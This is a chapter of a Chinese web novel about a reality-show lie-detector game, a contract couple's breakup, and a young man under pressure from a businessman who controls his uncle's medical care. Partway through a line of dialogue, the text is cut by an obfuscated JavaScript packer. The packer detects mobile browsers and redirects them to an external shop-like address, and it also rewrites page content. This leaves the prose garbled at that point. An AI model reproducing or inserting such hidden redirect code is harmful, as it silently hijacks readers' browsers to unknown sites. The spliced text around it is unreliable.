贺平怔住没有回答,反倒是沈蔷薇兴致勃勃的:“正好!能不能先提问我们,我想赶紧‘逃脱’!拜托了匹诺曹!” “……我不是匹诺曹,”江百川愣了一下,“匹诺曹是这一关的名字。” “不好意思,”沈蔷薇打了个哈哈,扭头转向牧阳,“咱们快点结束吧,我想见另外一个弟弟!” “不许见。”贺平竟然说气话。 诡异的是,仪器真的不响。 沈蔷薇像发现新大陆一样看看贺平,再看看仪器,再看看贺平。 “江老师,你先提问他们,我想和他玩一会。”沈蔷薇说。 “还玩?!你疯了?!”贺平被吓坏了,连忙将求助的目光投向江百川。 江百川轻轻一笑:“好的,沈女士加油。那么,我就从夏夜组合开始吧。你们的问题比较多,辛苦了,我就一起提问。” 牧阳和晏川坐在中间,但留给他们的机位只有一个。无他,不管是被江百川提问的年轻情侣,还是那边自顾自玩上了的沈蔷薇和贺平,可看性都比他们两个百无聊赖地坐在那里强。 “我有点担心……”晏川小声说。 “没什么好担心的。”牧阳下意识接话道,却发现自己手腕上的表盘突然急促地响了起来,露出紧张的红光。 牧阳盯着这块表,一时感觉到心跳过速。她立刻改口:“好吧,确实、确实有点担心……” 另一边,目光和镜头又一次转向他们。江百川怔怔望了一眼那边频闪的红光,立刻回过头来:“不好意思,我们继续。在两位心目中,理想的恋人应该是什么样子的?” 江百川提问了姚柯叶和池知夏三个问题,第一个问题大概是为了照顾他们也是为了看清提问形式,有意放水。后面的两个问题显得有些刁钻,牧阳想了一下,自己也未必能答得又好又诚实。 “两位先休息一下吧,”江百川说完,朝着他们走了过来,“现在,轮到轻松的‘三个问题’了。” 江百川在牧阳和晏川面前站定,一只手用手臂托着平板,另一只手捏着提词板,另外三指勾着教鞭,放到一旁。 牧阳一摊手,看着摄像师围着顶流拍特写:“很难想象,‘简单’两个字‘周旅’这个节目会写。” “姐姐的测谎仪没响,节目组肯定不会写。”晏川点头。 “……别着急,我们很快就要开始提问了,”江百川早已学会了无视镜头,他只觉得此刻额头一突一突的,接不上面前两个人的梗也让他觉得有些不爽,“由于两人只有三个问题,所以这三个问题,我会选择分开提问,方便你们回答。” “分开提问?那不就是问六个问题吗?!”牧阳大吃一惊。 “当然不是,”江百川抢在晏川说话之前开口,笑吟吟地换了一张提词板,“我会问你们一人一个问题,至于多出来的那个问题,你们自己决定谁来回答。” 晏川点点头,忽然意识到自己现在没法举手,于是挺直背,探头道:“我先来吧?” 江百川笑容不变,只看牧阳:“女士优先?” 牧阳无奈摊手:“OK啊,江先生请问。” 晏川侧头看看牧阳,又看看不紧不慢在平板上按着什么的江百川。 “那第一个问题:你会因为某个人身上有熟悉感而更容易动心吗?”江百川看着提词板,一字一句问。 “熟悉感?”牧阳像是在咀嚼这个词,“你是说,觉得他和某人很像?” 话音刚落,她就感觉自己正捏着一块肉干,前面还蹲着两只小狗。 晏川和江百川都在盯着她看。 “我确实是对小川有熟悉感,”牧阳忽然有一种放松的感觉,“但这种感觉并不是因为我觉得他和谁很像。和他相处的时候,我更多感觉到的是——我说不定很早以前就认识他,是那种多年不见,但很亲切的熟悉感。” 可是他们之前明明没有见过面。牧阳低头看了一眼表盘,数据没有变化,绿色的灯光依然明显。 “小川,”江百川念了一遍这两个字,“你觉得很熟悉。” “对呀,晏川,我家小川嘛,”牧阳笑着摆了摆手指,“小川?” “到!”晏川立刻欢天喜地应声答道,好像他说的不是“到”,而是“汪”! 江百川端着平板,抿着嘴唇看他俩又要把头凑在一起,冷声道:“下一题。” 两人连忙端正坐好。 “晏川,”江百川顿了顿,慢条斯理地开口,“从客观上来看,你有一个比你拥有更多阅历,更年长的女朋友。” “你的问题为什么前摇这么长,好不公平。”牧阳小声对晏川说。 晏川一边听题,一边也不肯错过牧阳凑在他耳边轻声说话的痒意。他努力往牧阳这一侧靠近,江百川却冷漠得像个游戏里bo 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牧阳不得不放开晏川的手。她的面上带出一丝不耐烦,刚想刺给人添堵的江百川两句,就见这位双眼微红,骤然对上她的视线,甚至别开了眼睛。 她最后还是没有出声。 “如果……如果有一个人曾经伤害过你,你还愿意给他第二次机会吗?” 他问得小心翼翼。 现场出乎意料的安静,连周围的其他嘉宾好像也一瞬间失了声音。 “我……” “滴滴滴滴——” 刺耳的提示音响起,晏川的手腕上亮起了夸张的红光,闪烁的频率倒映在他苍白的脸上,让他的眼神忽明忽暗。 晏川像被这测谎仪惊住了,他的手指也在颤抖,一瞬间,可以活动的机位好像都集中到了他的周围。 “怎么我说话,他的测谎仪响了。”牧阳歪了歪头,“有bug?” 江百川低头点了点平板:“哦,糟糕,确实很奇怪。没关系,我们继续吧。” 晏川手腕上的电表恢复了绿光。 “事实上,可能我的观点有点过激,”牧阳的表情无比平静,“我认为人与人之间相处,交往,很难没有伤害。我也无法避免因为自己的处境,无意中伤害别人。” 她想到刚才费姵玫老师说的那些话,单手握紧,又慢慢松开:“所以我愿……好吧。” 牧阳向后仰去,靠在椅背上:“我就是双标。谁都不能伤害我,让他们滚。” “所以没有例外吗,哪怕有爱作为基础,也无法承受哪怕一次伤害?” “有什么当基础都不是承受伤害的代价呀,”牧阳颇有些无语,“爱又不代表一切。” “可是……” “我已经回答了这个问题,没道理关主不接受我的答案,就不放我们走?”牧阳几乎是在质疑了。 晏川果断插话道:“要不江大哥你换成问我吧。不过要是仪器没有再响,这关就算我们无伤通过?” 牧阳立刻反应过来,赶紧阻止:“你别给他开条件……” “好啊,”江百川却立刻答应下来,“那我就再提一个问题。最后一题。” 牧阳有一种不好的预感,她的目光在晏川和江百川之间徘徊。 “你们在一起的时间这么短。你如何确信你是真的爱她,还是在爱一个你想象中的人?”江百川问。 牧阳心里咯噔一声,一旁的晏川却缓缓吐出一口气,好像得到了解救。 “不需要确信。”晏川说,“爱都是从想象开始,落入到现实的。我敬佩她,欣赏她,崇拜她。谦谦姐姐……牧阳对我来说一直都很重要。我很爱她。” 54. 【五四】 “你太会说了!”录制已经结束,牧阳还在感慨,“长江后浪推前浪,后浪就是有质量。” “……有吗?”晏川跟在牧阳身后,被夸得有些尴尬。 节目录制到后半夜,哪怕因为困极了有些头重脚轻,他难受的也依然不是饥饿和劳累,而是测谎仪响起的那个瞬间。 “如果有一个人曾经伤害过你,你还愿意给他第二次机会吗?” “谁都不能伤害我,让他们滚。” “我……” “当然有啊,你简直厉害极了。”牧阳对身旁晏川的反应毫无察觉,她拍拍他的肩膀,打着哈欠,“连温言都说,被你的发言撩到。” “那你觉得呢?” “我当然是觉得你说得很动人啊,”牧阳想也不想道,“太精彩了。我感觉这一把应该是稳了,尤其是你和江百川同台,应该没有人会关注之前那些新闻了,要不我和小春商议剪个路透吧,你马上就要红了……” “牧阳!”晏川忽然停住脚步,“我不想出道。我已经说过很多遍了。我不想签约,不想当艺人。” 走在前面的牧阳也停下脚步。 太冷了。 黎明的城市在屋檐的各个角落酿造露水。天越来越亮了,鸟儿停在柏油马路上,原地啄了啄,又飞上天空。晏川的手在身侧紧张地攥起,忽然发觉自己心跳得飞快,他不由想要上前。 “那我们的关系,也就到这里为止了。”她转过头,轻声交代。 “喂!哎!”薛有晴狠狠推了自己的室友一把,“下课了!下课了我说!到底去不去食堂?” 晏川反应过来,收起自己的书,跟着室友往外走。 “我真怀疑你聋了,拍个节目这么伤耳朵。”薛有晴说完又心虚,“还是我在宿舍直播的时候声音太大吵到你了?要不我还是搬出去住?” “抱歉,我刚才走神了。”晏川说。 “靠,从早八到现在,昨天还熬大夜剪视频,我等会要去买杯咖啡……你这叫走神?我看你整个人都走了有一会了!”薛有晴推开差点撞到车棚柱子的晏川,“你真的没事?我看你这症状持续好几天了。” “我没事。”晏川刷码扫了一辆自行车,先一步骑出去。 “喂!” 一直到食堂楼下停车,薛有晴才追上他:“你还在难受……那个事情?我都和老板道过歉了,罗哥都自罚三杯了!没事的,我看老板心情很好,他可能是放弃之前的计划了。” 晏川抿着嘴唇。 “没事!没事的!”薛有晴越说越急,语气听不出是安慰室友,还是在自我安慰,“哎呀,我们就是太年轻,不小心上当……” 晏川忽然抬起头:“我打包回寝室,你随意。” “……啊?不坐着吃吗?”薛有晴没反应过来。 “我先回去写这个。”晏川指了指手里的专业书。 “这么快就开始写?!”薛有晴一愣,“学神,你别蛋蛋的这么卷吧……” “我还有事,”晏川解释,“放假我想早点回去。” 薛有晴的脸色瞬间肃然起来,点点头:“嗯。” 晏川打包了盒饭回寝室,但等薛有晴回寝室的时候,晏川连包装袋都没有拆开过。薛有晴看不下去,帮他把盒饭拆开了,顺便还帮他在饮水机那里接了杯温水,凑过来看晏川写了一半的报告:“我靠!这么快!” “把我的杯子放下!”晏川急了,立刻小心翼翼地接过薛有晴手里自己的水杯,指腹仔细地擦了擦划船的小狗,让它端正地摆在桌面上。 薛有晴不忿道:“我是好心帮你!” “谢谢。”晏川说完,又继续打字。 “……你什么时候回去?” “明天。”晏川说。 “明天几点?” “问那么具体干什么?”晏川终于舍得转过头。 薛有晴尴尬道:“呃……我……就当我想找个地方躲一躲?我不想回家。” “我没有空带你玩。”晏川冷淡道。 薛有晴:“哎……哎!我不是这个意思。” “我知道你的意思,”晏川站起来,按住他的肩膀,“我的事情我自己会解决。不用为我担心。” “可毕竟,要不是……哎,我……”薛有晴顶不住了,“都是我把你卷进来了!那个神经病老板怎么这样,大不了我们把钱还给他呗,又不是不做了!我不是都按他吩咐的给你指示了嘛,你不是全部都照做了嘛!人家富婆美女不打算玩了要叫停,我们普普通通男大学生难道还能死缠烂打吗?!人家理我们吗?!我真的一把草抓起来吃下去吐出来都没他做事一半恶心!” “……草又没有做错事。”晏川忍不住笑了一下。 “我这是练素质呢,说脏话容易被举报,”薛有晴叹了口气,“没想到反而训练出了一些反应能力。哎!不行,我又被你带偏了。我是认真的!有事不要硬扛,是我连累了你,我本来就有义务承担一部分责任。更何况你是我兄弟。” 晏川立刻后退一步:“不用了。” “你别离那么远……算了!”薛有晴无奈一摊手,没想到手碰到桌子,晏川立刻扑过来,看自己的水杯。 水杯一点事都没有。 薛有晴恨铁不成钢地摸了摸额头,长叹一声,去洗手间了。 刚接了温水的水杯还残留着些许热意。 大概是室内的空调温度太低了,晏川将手贴在杯壁上,手指穿过小狗身下的浪花,点在它的狗爪子上。 “……结束?”他轻声重复这两个字,忽然希望是自己太困了,听错了。 紧接着,太阳穿过厚厚的云层,照在他们之间。两个人一瞬间都被灿烂的阳光笼罩了,他看着熠熠发光的她,连她的发丝都像黄金。 “对呀,我们本来就是合约情侣嘛,”牧阳笑道,“炒cp的任务已经完成了,相应的报酬公司财务会打到你的卡上。哦对,还有实习工资,差旅补贴,都会给你算上的。放心吧,什么都少不了你的。” 不要。 他好想说不要。 不需要这些东西。 不要和我撇清关系。 不要丢下我,至少不要再次抛弃我,不要直接从我的生命里消失…… “我们该分开了。”牧阳说,“你有自己的规划和打算,我不该耽误你的前程。娱乐圈的快钱就是这样的,不要想着你赚了很多,其实你付出的更多。快走吧。” 她转身往前走。 “你要取得她的信任。关键时刻,才能给她致命一击。” “谁都不能伤害我,让他们滚。” “……好。”他说。 晨曦的露水像眼泪一样落下来。 “所以我这边暂时无法完成您布置的任务了,”晏川道,“我很抱歉,不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17302301|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我会再找机会的。” “没事呀,没事的。”电话那头的人说得很轻松,“你太年轻,她走过的路太多了,一点点弯弯绕绕就能把你甩脱。玩不过她很正常,小伙子嘛,看开点。” “嗯,谢谢高总。” “不用客气,”高明煊说,“哦,对了,你姑父那边,我们找人去探望过了,他现在病情状态非常稳定……” “你们派人去找我姑父?!”晏川没忍住质问道。 “我们是去探病的,”高明煊乐呵呵地说,“联盛最近啊,正准备开通一条重大疾病救助公益的申请通道,你姑父,刚好在这个申请名单上。你姑姑工作那么忙,还要照顾你姑父,肯定忙不过来,我们这边下属机构的工作人员啊,就征求了二老的同意,把他们接到我们自己的医院来了。放心,这些钱,联盛基金都会垫付的。” “……知道了。”晏川说。 “小伙子总要趁年轻多试试的嘛,”高明煊说,“不试试怎么知道呢,对不对?” “高总,我还有事,先挂了。” “不打扰,小同学加油。” [天天有情歌]:一路顺风 [天天有情歌]:辛苦(抱拳) 晏川切出聊天页面,看向自己消息还停留在两周前的置顶。 [一杯朱古力]:拿到了,谢谢 在这条消息之前是一张图片。 他回东海前牧阳吩咐过他不需要回公司,所有的东西公司员工会帮忙打包寄过来。 同城快递到学校快递站的时候,姬慧甚至还专程给他打了个电话,言语亲切,却显得异常公事公办。 一切都结束了。 晏川从快递箱里拿出自己的包,收集整理的资料,最后在箱子的底部,找到被泡沫纸包裹严密的杯子。 “对了,记得在东海办上申请一下额度,到时候提车的时候,顺便把牌照拿了。”姬慧示意他去看杯子,“牧姐说她答应你的。” 杯子里是车钥匙。 “这个太贵重了,我不能收。”晏川立刻就想还回去。 然而姬慧早已油滑地退开,眨眼就跑上车,一脚油门消失得无影无踪。 晏川最后给杯子拍了照片,斟酌半天,只敢发那五个字。 他还可以说什么呢? 说什么……才能不破坏他在她心目中的印象。 就让这件事这样结束吧。 “这是患者的手术费用清单和住院费用明细单,相应的费用已经由联盛基金那边出资垫付了,您这边不需要支付,只是将这个交给您。”一沓单子递到他的手上,好像在他指节上烫了一下。 晏川看清纸面右下角落款的数额,道了声谢谢。 这是很大一笔钱。 他低着头,收好六位数的账单,敲门走进病房。 这里环境好极了,擦得簇亮的玻璃窗外是一棵巨大、茂密的树,绿色的树冠几乎占据了全部视线。整洁而敞亮的环境,甚至消毒水的味道都淡淡的,床头还有蓝牙音箱,姑父平时可以听放松的轻音乐。 “我听他们说,联盛能知道冀悦的事情,是你登记了相应的信息?”姑姑问他,“这么重要的事情,怎么不给我们来个消息。” “……嗯。出了一些意外。”晏川说。 晏川的姑姑晏山玉听到这话,立刻变了脸色:“是不是他们又拿那个女孩要挟你了?!”